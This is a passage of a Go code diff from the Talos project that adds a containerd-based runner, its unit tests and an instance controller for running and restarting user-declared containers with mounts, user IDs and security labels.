"github.com/containerd/containerd/v2/pkg/namespaces" + "github.com/containerd/containerd/v2/pkg/oci" + "github.com/containerd/errdefs" + v1 "github.com/opencontainers/image-spec/specs-go/v1" + specs "github.com/opencontainers/runtime-spec/specs-go" + "go.uber.org/zap" + + containersadapter "github.com/siderolabs/talos/internal/app/machined/pkg/adapters/containers" + "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" + "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" + "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" + containerdrunner "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner/containerd" + "github.com/siderolabs/talos/internal/pkg/capability" + "github.com/siderolabs/talos/pkg/machinery/constants" + containersres "github.com/siderolabs/talos/pkg/machinery/resources/containers" +) + +const ( + // gracefulShutdownTimeout is how long a container gets after SIGTERM before SIGKILL. + // + // Internal and not configurable, matching the containerd service runner's existing default. + gracefulShutdownTimeout = 10 * time.Second + + // oomScoreAdj matches what extension services get. Containers must be killed before apid and + // trustd, which sit at -998, so that the API stays reachable on a node under memory pressure. + oomScoreAdj = -600 +) + +// containerdRunner runs containers against the CRI containerd instance. +type containerdRunner struct { + client *containerdapi.Client + logging runtime.LoggingManager + logger *zap.Logger +} + +func newContainerdRunner(logging runtime.LoggingManager, logger *zap.Logger) (TaskRunner, error) { + client, err := containerdapi.New(constants.CRIContainerdAddress) + if err != nil { + return nil, fmt.Errorf("failed to connect to containerd: %w", err) + } + + return &containerdRunner{ + client: client, + logging: logging, + logger: logger, + }, nil +} + +// withNamespace scopes a context to the dedicated namespace. +func withNamespace(ctx context.Context) context.Context { + return namespaces.WithNamespace(ctx, constants.TalosContainersContainerdNamespace) +} + +// List implements TaskRunner interface. +func (r *containerdRunner) List(ctx context.Context) ([]string, error) { + list, err := r.client.Containers(withNamespace(ctx)) + if err != nil { + return nil, err + } + + ids := make([]string, 0, len(list)) + + for _, container := range list { + ids = append(ids, container.ID()) + } + + return ids, nil +} + +// Remove implements TaskRunner interface. +func (r *containerdRunner) Remove(ctx context.Context, id string) error { + ctx = withNamespace(ctx) + + container, err := r.client.LoadContainer(ctx, id) + if err != nil { + if errdefs.IsNotFound(err) { + return r.removeSnapshot(ctx, id) + } + + return fmt.Errorf("failed to load container: %w", err) + } + + // Kill any task first: a container with a live task cannot be deleted. + if task, taskErr := container.Task(ctx, nil); taskErr == nil { + if _, delErr := task.Delete(ctx, containerdapi.WithProcessKill); delErr != nil && !errdefs.IsNotFound(delErr) { + return fmt.Errorf("failed to delete task: %w", delErr) + } + } + + if err := container.Delete(ctx, containerdapi.WithSnapshotCleanup); err != nil && !errdefs.IsNotFound(err) { + return fmt.Errorf("failed to delete container: %w", err) + } + + return r.removeSnapshot(ctx, id) +} + +// Run implements TaskRunner interface. +func (r *containerdRunner) Run( + ctx context.Context, + id string, + spec containersres.ContainerInstanceSpecSpec, + started func(pid uint32), +) (int32, error) { + image, err := r.client.GetImage(withNamespace(ctx), spec.Image) + if err != nil { + return 0, fmt.Errorf("failed to get image %q: %w", spec.Image, err) + } + + cgroupPath := filepath.Join(constants.CgroupTalosContainersRoot, spec.ContainerID) + + // The mount alone does not make the socket usable: only the machined-access domain is permitted to + // connect to it, so a container that asked for the socket has to be labeled for it as well. + selinuxLabel := constants.SelinuxLabelTalosContainer + if spec.Security.MachinedAccess { + selinuxLabel = constants.SelinuxLabelTalosContainerMachined + } + + svc := containerdrunner.NewRunner(false, + &runner.Args{ID: id}, + runner.WithNamespace(constants.TalosContainersContainerdNamespace), + runner.WithContainerdAddress(constants.CRIContainerdAddress), + runner.WithContainerImage(spec.Image), + runner.WithEnv(spec.Environment), + runner.WithLoggingManager(r.logging), + // Keyed by container, not by instance: successive generations append to one buffer, so restart + // history reads as a single continuous log. + runner.WithLogID(constants.TalosContainersLogPrefix+spec.ContainerID), + runner.WithCgroupPath(cgroupPath), + runner.WithCgroupResources(containersadapter.ContainerResourcesSpec(&spec.Resources).CgroupResources()), + runner.WithOOMScoreAdj(oomScoreAdj), + runner.WithGracefulShutdownTimeout(gracefulShutdownTimeout), + runner.WithHostNetworkFiles(spec.Network.HostNetwork), + runner.WithSelinuxLabel(selinuxLabel), + runner.WithOCISpecOpts(r.ociSpecOpts(spec, image)...), + ) + + if err := svc.Open(); err != nil { + return 0, fmt.Errorf("failed to create container %q: %w", id, err) + } + + defer svc.Close() //nolint:errcheck + + status, err := svc.Run(ctx, events.NullRecorder, func(pid int32) { + started(uint32(pid)) //nolint:gosec + }) + + return int32(status.ExitCode), err //nolint:gosec +} + +// Close implements TaskRunner interface. +func (r *containerdRunner) Close() error { + return r.client.Close() +} + +// removeSnapshot clears a snapshot left behind without its container. +func (r *containerdRunner) removeSnapshot(ctx context.Context, id string) error { + if err := r.client.SnapshotService("").Remove(ctx, id); err != nil && !errdefs.IsNotFound(err) { + return fmt.Errorf("failed to remove snapshot: %w", err) + } + + return nil +} + +// ociSpecOpts builds the OCI spec for a container. +func (r *containerdRunner) ociSpecOpts(spec containersres.ContainerInstanceSpecSpec, image containerdapi.Image) []oci.SpecOpts { + // No-new-privileges, the cgroup, the OOM score, seccomp and the SELinux label are the shared + // runner's, applied around these; what is left here is the translation of the container's own + // declared spec. + opts := []oci.SpecOpts{ + containerdrunner.WithImageConfigStripped(image), + r.withImageUser(image), + // Always applied: it is what resolves each half of the argv against the image, so leaving it + // out when neither is overridden would run a container with no argv at all. + WithProcessArgs(spec, image), + } + + if spec.WorkingDir != "" { + opts = append(opts, oci.WithProcessCwd(spec.WorkingDir)) + } + + if spec.RunAs.UID != nil || spec.RunAs.GID != nil { + opts = append(opts, WithRunAs(spec.RunAs)) + } + + if spec.Network.HostNetwork { + opts = append(opts, oci.WithHostNamespace(specs.NetworkNamespace)) + } + + if mounts := MountsResolvedToOCI(spec.Mounts); len(mounts) > 0 { + opts = append(opts, oci.WithMounts(mounts)) + } + + // An rshared bind can only join the host peer group when the container's + // rootfs propagation is shared: with the runc default (recursive slave), + // the bind lands in a new peer group slaved to the host, and mounts created + // inside the container never propagate back out. + if MountsRequestSharedPropagation(spec.Mounts) { + opts = append(opts, containerdrunner.WithRootfsPropagation("shared")) + } + + if spec.Security.MachinedAccess { + opts = append(opts, func(_ context.Context, _ oci.Client, _ *ctrdcontainers.Container, s *specs.Spec) error { + if _, err := os.Stat(constants.MachineSocketPath); err != nil { + return fmt.Errorf("machined socket %q not available for machinedAccess: %w", constants.MachineSocketPath, err) + } + + s.Mounts = append(s.Mounts, specs.Mount{ + Type: "bind", + Destination: constants.MachineSocketPath, + Source: constants.MachineSocketPath, + Options: []string{"rbind", "ro"}, + }) + + return nil + }) + } + + opts = append(opts, containersadapter.ContainerSecuritySpec(&spec.Security).OCISpecOpts(capability.AllGrantableCapabilities())...) + + return opts +} + +// withImageUser applies the image's USER, as long as it is expressed numerically. +func (r *containerdRunner) withImageUser(image containerdapi.Image) oci.SpecOpts { + return func(ctx context.Context, _ oci.Client, _ *ctrdcontainers.Container, s *specs.Spec) error { + config, err := ImageConfig(ctx, image) + if err != nil { + return err + } + + user := config.User + if user == "" { + return nil + } + + uid, gid, numeric := ParseNumericUser(user) + if !numeric { + r.logger.Warn( + "image USER is not numeric and cannot be resolved without the image's /etc/passwd, running as root", + zap.String("image", image.Name()), + zap.String("user", user), + ) + + return nil + } + + if s.Process == nil { + s.Process = &specs.Process{} + } + + s.Process.User.UID = uid + s.Process.User.GID = gid + + return nil + } +} + +// ImageConfig reads and decodes the image's OCI config. +func ImageConfig(ctx context.Context, image containerdapi.Image) (v1.ImageConfig, error) { + descriptor, err := image.Config(ctx) + if err != nil { + return v1.ImageConfig{}, err + } + + if !images.IsConfigType(descriptor.MediaType) { + return v1.ImageConfig{}, fmt.Errorf("unknown image config media type %s", descriptor.MediaType) + } + + configBytes, err := content.ReadBlob(ctx, image.ContentStore(), descriptor) + if err != nil { + return v1.ImageConfig{}, err + } + + var ociImage v1.Image + + if err := json.Unmarshal(configBytes, &ociImage); err != nil { + return v1.ImageConfig{}, err + } + + return ociImage.Config, nil +} + +// WithProcessArgs applies the entrypoint and args overrides, over what the image defines. +func WithProcessArgs(containerInstanceSpec containersres.ContainerInstanceSpecSpec, image containerdapi.Image) oci.SpecOpts { + return func(ctx context.Context, _ oci.Client, _ *ctrdcontainers.Container, s *specs.Spec) error { + config, err := ImageConfig(ctx, image) + if err != nil { + return err + } + + entrypoint := containerInstanceSpec.Entrypoint + if len(entrypoint) == 0 { + entrypoint = config.Entrypoint + } + + args := containerInstanceSpec.Args + if len(args) == 0 { + args = config.Cmd + } + + argv := slices.Concat(entrypoint, args) + if len(argv) == 0 { + return errors.New("nothing to run: no entrypoint or args configured and the image declares neither ENTRYPOINT nor CMD") + } + + if s.Process == nil { + s.Process = &specs.Process{} + } + + s.Process.Args = argv + + return nil + } +} + +// WithRunAs applies the configured uid and gid, leaving whichever half is unset at what the image's +// USER resolved to. +func WithRunAs(runAs containersres.ContainerRunAsSpec) oci.SpecOpts { + return func(_ context.Context, _ oci.Client, _ *ctrdcontainers.Container, s *specs.Spec) error { + if s.Process == nil { + s.Process = &specs.Process{} + } + + if runAs.UID != nil { + s.Process.User.UID = uint32(*runAs.UID) //nolint:gosec + } + + if runAs.GID != nil { + s.Process.User.GID = uint32(*runAs.GID) //nolint:gosec + } + + return nil + } +} + +// ParseNumericUser parses an image USER of the form "uid" or "uid:gid". +// +// A bare uid leaves the gid at 0. +func ParseNumericUser(user string) (uid, gid uint32, numeric bool) { + uidPart, gidPart, hasGID := strings.Cut(user, ":") + + parsedUID, err := strconv.ParseUint(uidPart, 10, 32) + if err != nil { + return 0, 0, false + } + + if !hasGID { + return uint32(parsedUID), 0, true + } + + parsedGID, err := strconv.ParseUint(gidPart, 10, 32) + if err != nil { + return 0, 0, false + } + + return uint32(parsedUID), uint32(parsedGID), true +} + +// MountsResolvedToOCI converts resolved mounts into OCI mounts. +func MountsResolvedToOCI(mounts []containersres.ResolvedMountSpec) []specs.Mount { + if len(mounts) == 0 { + return nil + } + + out := make([]specs.Mount, 0, len(mounts)) + + for _, mount := range mounts { + switch mount.Kind { + case containersres.MountKindTmpfs: + options := append([]string{"nosuid", "nodev"}, mount.Options...) + + if mount.Size > 0 { + options = append(options, fmt.Sprintf("size=%d", mount.Size)) + } + + out = append(out, specs.Mount{ + Type: "tmpfs", + Source: "tmpfs", + Destination: mount.Destination, + Options: options, + }) + // A user volume is a bind of the path the volume is mounted at: by the time a mount reaches + // here, MountController has resolved its source to that path, so the two kinds are the same + // operation and differ only in who decided the source. + case containersres.MountKindHostPath, containersres.MountKindUserVolume: + out = append(out, specs.Mount{ + Type: "bind", + Source: mount.Source, + Destination: mount.Destination, + Options: append([]string{"rbind"}, mount.Options...), + }) + } + } + + return out +} + +// MountsRequestSharedPropagation reports whether any declared mount asks for +// rshared propagation, which requires the rootfs itself to be shared +// for the bind to join the host peer group (see ociSpecOpts). +func MountsRequestSharedPropagation(mounts []containersres.ResolvedMountSpec) bool { + for _, mount := range mounts { + if slices.Contains(mount.Options, "rshared") { + return true + } + } + + return false +} diff --git a/internal/app/machined/pkg/controllers/containers/containerd_runner_test.go b/internal/app/machined/pkg/controllers/containers/containerd_runner_test.go new file mode 100644 index 00000000000..170feb88679 --- /dev/null +++ b/internal/app/machined/pkg/controllers/containers/containerd_runner_test.go @@ -0,0 +1,284 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers_test + +import ( + "testing" + + specs "github.com/opencontainers/runtime-spec/specs-go" + "github.com/stretchr/testify/assert" + + containersctrl "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/containers" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" +) + +func TestParseNumericUser(t *testing.T) { + tests := []struct { + name string + input string + wantUID uint32 + wantGID uint32 + wantValid bool + }{ + { + name: "uid only", + input: "1000", + wantUID: 1000, + wantGID: 0, + wantValid: true, + }, + { + name: "uid and gid", + input: "1000:1001", + wantUID: 1000, + wantGID: 1001, + wantValid: true, + }, + { + name: "zero uid", + input: "0", + wantUID: 0, + wantGID: 0, + wantValid: true, + }, + { + name: "zero uid and gid", + input: "0:0", + wantUID: 0, + wantGID: 0, + wantValid: true, + }, + { + name: "invalid uid", + input: "abc", + wantValid: false, + }, + { + name: "invalid gid", + input: "1000:abc", + wantValid: false, + }, + { + name: "empty string", + input: "", + wantValid: false, + }, + { + name: "max uint32", + input: "4294967295", + wantUID: 4294967295, + wantGID: 0, + wantValid: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + uid, gid, valid := containersctrl.ParseNumericUser(tt.input) + assert.Equal(t, tt.wantValid, valid) + + if valid { + assert.Equal(t, tt.wantUID, uid) + assert.Equal(t, tt.wantGID, gid) + } + }) + } +} + +// TestMountsResolvedToOCI covers the translation of every resolved mount kind. +// +// Every kind has to be handled: a kind that falls through is dropped silently, and the container then +// runs without a mount it declared, which is only visible once something inside it looks for the +// destination. +func TestMountsResolvedToOCI(t *testing.T) { + t.Parallel() + + for _, test := range []struct { + name string + mounts []containers.ResolvedMountSpec + expected []specs.Mount + }{ + { + name: "none", + }, + { + name: "tmpfs with a size", + mounts: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindTmpfs, + Destination: "/scratch", + Size: 1024, + }, + }, + expected: []specs.Mount{ + { + Type: "tmpfs", + Source: "tmpfs", + Destination: "/scratch", + Options: []string{"nosuid", "nodev", "size=1024"}, + }, + }, + }, + { + name: "host path, read-only", + mounts: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/var/log", + Destination: "/host-log", + Options: []string{"ro"}, + }, + }, + expected: []specs.Mount{ + { + Type: "bind", + Source: "/var/log", + Destination: "/host-log", + Options: []string{"rbind", "ro"}, + }, + }, + }, + { + // The source is the path the volume is mounted at, filled in by MountController. + name: "user volume", + mounts: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindUserVolume, + Source: "/var/mnt/data", + Destination: "/mnt/data", + }, + }, + expected: []specs.Mount{ + { + Type: "bind", + Source: "/var/mnt/data", + Destination: "/mnt/data", + Options: []string{"rbind"}, + }, + }, + }, + { + name: "all kinds keep their declared order", + mounts: []containers.ResolvedMountSpec{ + {Kind: containers.MountKindUserVolume, Source: "/var/mnt/data", Destination: "/mnt/data"}, + {Kind: containers.MountKindTmpfs, Destination: "/scratch"}, + {Kind: containers.MountKindHostPath, Source: "/var/log", Destination: "/host-log"}, + }, + expected: []specs.Mount{ + {Type: "bind", Source: "/var/mnt/data", Destination: "/mnt/data", Options: []string{"rbind"}}, + {Type: "tmpfs", Source: "tmpfs", Destination: "/scratch", Options: []string{"nosuid", "nodev"}}, + {Type: "bind", Source: "/var/log", Destination: "/host-log", Options: []string{"rbind"}}, + }, + }, + } { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + assert.Equal(t, test.expected, containersctrl.MountsResolvedToOCI(test.mounts)) + }) + } +} + +// TestMountsRequestSharedPropagation covers detection of a mount asking for rshared +// propagation: missing this flips the rootfs into slave propagation, so a container-created +// mount never becomes visible on the host. +func TestMountsRequestSharedPropagation(t *testing.T) { + t.Parallel() + + for _, test := range []struct { + name string + mounts []containers.ResolvedMountSpec + expected bool + }{ + { + name: "none", + }, + { + name: "mount with no options", + mounts: []containers.ResolvedMountSpec{ + {Kind: containers.MountKindHostPath, Source: "/var/log", Destination: "/host-log"}, + }, + }, + { + name: "unrelated option only", + mounts: []containers.ResolvedMountSpec{ + {Kind: containers.MountKindHostPath, Source: "/var/log", Destination: "/host-log", Options: []string{"ro"}}, + }, + }, + { + name: "rshared option", + mounts: []containers.ResolvedMountSpec{ + {Kind: containers.MountKindHostPath, Source: "/var/log", Destination: "/host-log", Options: []string{"rshared"}}, + }, + expected: true, + }, + { + name: "later mount requests rshared", + mounts: []containers.ResolvedMountSpec{ + {Kind: containers.MountKindHostPath, Source: "/var/log", Destination: "/host-log", Options: []string{"ro"}}, + {Kind: containers.MountKindHostPath, Source: "/var/mnt", Destination: "/host-mnt", Options: []string{"rshared"}}, + }, + expected: true, + }, + { + name: "rshared is not the first option", + mounts: []containers.ResolvedMountSpec{ + {Kind: containers.MountKindHostPath, Source: "/var/log", Destination: "/host-log", Options: []string{"rbind", "rshared"}}, + }, + expected: true, + }, + } { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + assert.Equal(t, test.expected, containersctrl.MountsRequestSharedPropagation(test.mounts)) + }) + } +} + +func TestWithProcessArgs(t *testing.T) { + // Test that WithProcessArgs returns an oci.SpecOpts (function) + // We can't easily test the full behavior without mocking the image, + // but we can verify it returns a function + t.Run("returns function", func(t *testing.T) { + spec := containers.ContainerInstanceSpecSpec{ + Entrypoint: []string{"/bin/sh"}, + Args: []string{"-c", "echo hello"}, + } + + // Just verify this doesn't panic and returns something + // Full testing would require image mock + fn := containersctrl.WithProcessArgs(spec, nil) + assert.NotNil(t, fn) + }) +} + +func TestWithRunAs(t *testing.T) { + // Test that WithRunAs returns an oci.SpecOpts (function) + t.Run("returns function", func(t *testing.T) { + var ( + uid int32 = 1000 + gid int32 = 1001 + ) + + spec := containers.ContainerRunAsSpec{ + UID: &uid, + GID: &gid, + } + + fn := containersctrl.WithRunAs(spec) + assert.NotNil(t, fn) + }) + + t.Run("nil uid and gid", func(t *testing.T) { + spec := containers.ContainerRunAsSpec{ + UID: nil, + GID: nil, + } + + fn := containersctrl.WithRunAs(spec) + assert.NotNil(t, fn) + }) +} diff --git a/internal/app/machined/pkg/controllers/containers/instance.go b/internal/app/machined/pkg/controllers/containers/instance.go new file mode 100644 index 00000000000..60b15bbba7e --- /dev/null +++ b/internal/app/machined/pkg/controllers/containers/instance.go @@ -0,0 +1,467 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers + +import ( + "context" + "fmt" + "slices" + "time" + + "github.com/cosi-project/runtime/pkg/controller" + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/safe" + "github.com/cosi-project/runtime/pkg/state" + "github.com/siderolabs/gen/optional" + "go.uber.org/zap" + + "github.com/siderolabs/talos/pkg/machinery/resources/containers" + "github.com/siderolabs/talos/pkg/machinery/resources/network" + timeres "github.com/siderolabs/talos/pkg/machinery/resources/time" + "github.com/siderolabs/talos/pkg/machinery/resources/v1alpha1" +) + +// RestartInterval is how long to wait after an instance terminates before starting the next one. +const RestartInterval = 5 * time.Second + +type InstanceController struct{} + +// Name implements controller.Controller interface. +func (ctrl *InstanceController) Name() string { + return "containers.InstanceController" +} + +// Inputs implements controller.Controller interface. +func (ctrl *InstanceController) Inputs() []controller.Input { + return []controller.Input{ + { + Namespace: containers.NamespaceName, + Type: containers.ContainerSpecType, + Kind: controller.InputWeak, + }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerImageStatusType, + Kind: controller.InputWeak, + }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerMountStatusType, + Kind: controller.InputWeak, + }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerInstanceStatusType, + Kind: controller.InputWeak, + }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerInstanceSpecType, + Kind: controller.InputDestroyReady, + }, + // Needed to check whether dependsOn is satisfied. + { + Namespace: network.NamespaceName, + Type: network.StatusType, + ID: optional.Some(network.StatusID), + Kind: controller.InputWeak, + }, + { + Namespace: v1alpha1.NamespaceName, + Type: timeres.StatusType, + ID: optional.Some(timeres.StatusID), + Kind: controller.InputWeak, + }, + } +} + +// Outputs implements controller.Controller interface. +func (ctrl *InstanceController) Outputs() []controller.Output { + return []controller.Output{ + { + Type: containers.ContainerInstanceSpecType, + Kind: controller.OutputExclusive, + }, + } +} + +// Run implements controller.Controller interface. +func (ctrl *InstanceController) Run(ctx context.Context, r controller.Runtime, logger *zap.Logger) error { + // A single timer serves both the restart delay and path polling: it is reset each pass to the + // earliest deadline anything is waiting on, so an idle node does no work at all. + timer := time.NewTimer(0) + defer timer.Stop() + + if !timer.Stop() { + <-timer.C + } + + for { + select { + case <-ctx.Done(): + return nil + case <-r.EventCh(): + case <-timer.C: + } + + wakeAfter, err := ctrl.reconcile(ctx, r, logger) + if err != nil { + logger.Error("failed to reconcile container instances", zap.Error(err)) + + return err + } + + if !timer.Stop() { + // Drain a timer that fired while we were reconciling, so the next Reset is honored. + select { + case <-timer.C: + default: + } + } + + if duration, ok := wakeAfter.Get(); ok { + timer.Reset(duration) + } + + r.ResetRestartBackoff() + } +} + +// reconcile returns how long until the controller next needs to wake up on its own, if at all. +// +//nolint:gocyclo,cyclop +func (ctrl *InstanceController) reconcile(ctx context.Context, r controller.Runtime, logger *zap.Logger) (optional.Optional[time.Duration], error) { + containerSpecs, err := safe.ReaderListAll[*containers.ContainerSpec](ctx, r) + if err != nil { + return optional.None[time.Duration](), fmt.Errorf("failed to list container specs: %w", err) + } + + constainerInstanceSpecs, err := safe.ReaderListAll[*containers.ContainerInstanceSpec](ctx, r) + if err != nil { + return optional.None[time.Duration](), fmt.Errorf("failed to list container instances: %w", err) + } + + // Group instances by owning container so each container can be reasoned about independently. + idToInstanceSpecs := map[string][]*containers.ContainerInstanceSpec{} + + for instanceSpec := range constainerInstanceSpecs.All() { + containerID := instanceSpec.TypedSpec().ContainerID + idToInstanceSpecs[containerID] = append(idToInstanceSpecs[containerID], instanceSpec) + } + + for _, instanceSpecs := range idToInstanceSpecs { + slices.SortFunc(instanceSpecs, func(a, b *containers.ContainerInstanceSpec) int { + return int(a.TypedSpec().Generation) - int(b.TypedSpec().Generation) + }) + } + + // Informs the controller when to next wake up on its own. + var wakeCtrlAfter optional.Optional[time.Duration] + + wantedContainers := map[string]struct{}{} + + for containerSpec := range containerSpecs.All() { + wantedContainers[containerSpec.Metadata().ID()] = struct{}{} + + wakeAfter, err := ctrl.reconcileInstance(ctx, r, logger, containerSpec, idToInstanceSpecs[containerSpec.Metadata().ID()]) + if err != nil { + return optional.None[time.Duration](), err + } + + wakeCtrlAfter = minOptionalDuration(wakeCtrlAfter, wakeAfter) + } + + if err := ctrl.destroyOrphanedInstances(ctx, r, logger, idToInstanceSpecs, wantedContainers); err != nil { + return optional.None[time.Duration](), err + } + + return wakeCtrlAfter, nil +} + +//nolint:gocyclo,cyclop +func (ctrl *InstanceController) reconcileInstance( + ctx context.Context, + r controller.Runtime, + logger *zap.Logger, + containerSpec *containers.ContainerSpec, + instances []*containers.ContainerInstanceSpec, +) (optional.Optional[time.Duration], error) { + var currentInstance *containers.ContainerInstanceSpec + if len(instances) > 0 { + currentInstance = instances[len(instances)-1] + } + + containerSpecID := containerSpec.Metadata().ID() + + nextGeneration := uint64(0) + + // Babysit the existing instance until the spec changes. + if currentInstance != nil { + wasDestroyed, wakeUpAfter, err := ctrl.reconcileExistingInstance(ctx, r, logger, containerSpec, currentInstance) + if err != nil { + return optional.None[time.Duration](), err + } + + if !wasDestroyed { + return wakeUpAfter, nil + } + + nextGeneration = currentInstance.TypedSpec().Generation + 1 + } + + // No container exists now, but dependencies may be unmet. + waitingFor, wakeUpAfter, err := containerSpec.TypedSpec().Ready(ctx, r, containerSpecID) + if err != nil { + return optional.None[time.Duration](), err + } + + if len(waitingFor) > 0 { + logger.Debug("container is waiting on dependencies", + zap.String("container", containerSpecID), + zap.Strings("waitingFor", waitingFor), + ) + + return wakeUpAfter, nil + } + + // We're good to create a new instance. + imageDigest, err := containers.GetImageDigest(ctx, r, containerSpecID, containerSpec.TypedSpec().Image.Ref) + if err != nil { + return optional.None[time.Duration](), err + } + + resolvedMounts, err := containerSpec.TypedSpec().GetResolvedMounts(ctx, r, containerSpecID) + if err != nil { + return optional.None[time.Duration](), err + } + + if err := ctrl.createInstanceSpec(ctx, r, containerSpec, nextGeneration, imageDigest, resolvedMounts); err != nil { + return optional.None[time.Duration](), err + } + + logger.Info("container instance created", zap.String("container", containerSpecID), zap.Uint64("generation", nextGeneration), zap.String("image", imageDigest)) + + return optional.None[time.Duration](), nil +} + +// destroyOrphanedInstances removes instances for containers whose spec no longer exists. +func (ctrl *InstanceController) destroyOrphanedInstances( + ctx context.Context, + r controller.Runtime, + logger *zap.Logger, + idToInstanceSpecs map[string][]*containers.ContainerInstanceSpec, + wantedContainers map[string]struct{}, +) error { + for containerID, list := range idToInstanceSpecs { + if _, exists := wantedContainers[containerID]; exists { + continue + } + + for _, instance := range list { + logger.Debug("removing instance of a deleted container", + zap.String("container", containerID), + zap.String("instance", instance.Metadata().ID()), + ) + + if _, err := ctrl.destroyInstance(ctx, r, logger, instance); err != nil { + return err + } + } + } + + return nil +} + +// destroyInstance tears down an instance, reporting whether it is now gone. +// +// A false return means something still holds a finalizer on it, i.e. it is being stopped. +func (ctrl *InstanceController) destroyInstance( + ctx context.Context, + r controller.Runtime, + logger *zap.Logger, + instance *containers.ContainerInstanceSpec, +) (bool, error) { + id := instance.Metadata().ID() + + okToDestroy, err := r.Teardown(ctx, instance.Metadata()) + if err != nil { + if state.IsNotFoundError(err) { + return true, nil + } + + return false, fmt.Errorf("failed to tear down instance %q: %w", id, err) + } + + if !okToDestroy { + // Something still holds a finalizer, i.e. it is stopping the task. Come back when it + // releases, which the InputDestroyReady input will wake us for. + logger.Debug("waiting for the container instance to stop", zap.String("instance", id)) + + return false, nil + } + + if err := r.Destroy(ctx, instance.Metadata()); err != nil && !state.IsNotFoundError(err) { + return false, fmt.Errorf("failed to destroy instance %q: %w", id, err) + } + + logger.Debug("container instance destroyed", zap.String("instance", id)) + + return true, nil +} + +// reconcileExistingInstance checks whether the next generation should be created now. +// +// Returns (proceed, wakeUpAfter, error). A false proceed means the instance is to be left where it +// is for now, either because it matches the spec, because it terminated but the restart interval has +// not elapsed, or because its replacement cannot start yet. A true proceed means it is gone: a +// replacement is only ever created once the instance it replaces has been destroyed, so a container +// has at most one instance at a time and no terminated ones are kept around. +func (ctrl *InstanceController) reconcileExistingInstance( + ctx context.Context, + r controller.Runtime, + logger *zap.Logger, + spec *containers.ContainerSpec, + newestInstance *containers.ContainerInstanceSpec, +) (bool, optional.Optional[time.Duration], error) { + containerID := spec.Metadata().ID() + + // An instance already being torn down is finished regardless of the spec. + if newestInstance.Metadata().Phase() != resource.PhaseTearingDown { + inSync, err := newestInstance.TypedSpec().InSyncWithContainerSpec(ctx, r, spec.TypedSpec()) + if err != nil { + return false, optional.None[time.Duration](), err + } + + if inSync { + restartDue, wakeUpAfter, err := ctrl.checkRestartDue(ctx, r, newestInstance) + if err != nil { + return false, optional.None[time.Duration](), err + } + + if !restartDue { + return false, wakeUpAfter, nil + } + + logger.Info("container terminated, restart interval elapsed, replacing the instance", + zap.String("container", containerID), + zap.Uint64("generation", newestInstance.TypedSpec().Generation), + ) + } else { + // A spec change invalidates the existing instance. + waitingFor, wakeUpAfter, err := spec.TypedSpec().Ready(ctx, r, containerID) + if err != nil { + return false, optional.None[time.Duration](), err + } + + if len(waitingFor) > 0 { + logger.Debug("container spec changed, but its replacement is waiting on dependencies", + zap.String("container", containerID), + zap.Strings("waitingFor", waitingFor), + ) + + return false, wakeUpAfter, nil + } + + logger.Info("container spec changed, replacing the instance", + zap.String("container", containerID), + zap.Uint64("generation", newestInstance.TypedSpec().Generation), + ) + } + } + + destroyed, err := ctrl.destroyInstance(ctx, r, logger, newestInstance) + if err != nil { + return false, optional.None[time.Duration](), err + } + + if !destroyed { + // Still tearing down. InputDestroyReady wakes us when it is gone, and this pass repeats + // with the same outcome until then. + return false, optional.None[time.Duration](), nil + } + + return true, optional.None[time.Duration](), nil +} + +// checkRestartDue reports whether a terminated instance should be replaced now. +// +// A false result with no wake time means the instance has no status yet, or has one that is not +// done, i.e. it is still starting or running. A false result with a wake time means it terminated, +// but RestartInterval has not yet elapsed since it did. +func (ctrl *InstanceController) checkRestartDue( + ctx context.Context, + r controller.Reader, + instance *containers.ContainerInstanceSpec, +) (bool, optional.Optional[time.Duration], error) { + status, err := safe.ReaderGetByID[*containers.ContainerInstanceStatus](ctx, r, instance.Metadata().ID()) + if err != nil { + if state.IsNotFoundError(err) { + return false, optional.None[time.Duration](), nil + } + + return false, optional.None[time.Duration](), fmt.Errorf("failed to get instance status %q: %w", instance.Metadata().ID(), err) + } + + if !status.TypedSpec().Phase.Done() { + return false, optional.None[time.Duration](), nil + } + + if remaining := RestartInterval - time.Since(status.TypedSpec().FinishedAt); remaining > 0 { + return false, optional.Some(remaining), nil + } + + return true, optional.None[time.Duration](), nil +} + +// createInstanceSpec creates a new ContainerInstanceSpec with all fields populated from the spec and resolved values. +func (ctrl *InstanceController) createInstanceSpec( + ctx context.Context, + runtime controller.Runtime, + containerSpec *containers.ContainerSpec, + generation uint64, + digest string, + mounts []containers.ResolvedMountSpec, +) error { + containerSpecID := containerSpec.Metadata().ID() + instanceID := containers.InstanceID(containerSpecID, generation) + + return safe.WriterModify(ctx, runtime, + containers.NewContainerInstanceSpec(containers.NamespaceName, instanceID), + func(res *containers.ContainerInstanceSpec) error { + instanceSpec := res.TypedSpec() + instanceSpec.ContainerID = containerSpecID + instanceSpec.Generation = generation + instanceSpec.Image = digest + instanceSpec.Entrypoint = containerSpec.TypedSpec().Entrypoint + instanceSpec.Args = containerSpec.TypedSpec().Args + instanceSpec.WorkingDir = containerSpec.TypedSpec().WorkingDir + instanceSpec.RunAs = containerSpec.TypedSpec().RunAs + instanceSpec.Environment = containerSpec.TypedSpec().Environment + instanceSpec.Mounts = mounts + instanceSpec.Security = containerSpec.TypedSpec().Security + instanceSpec.Network = containerSpec.TypedSpec().Network + instanceSpec.Resources = 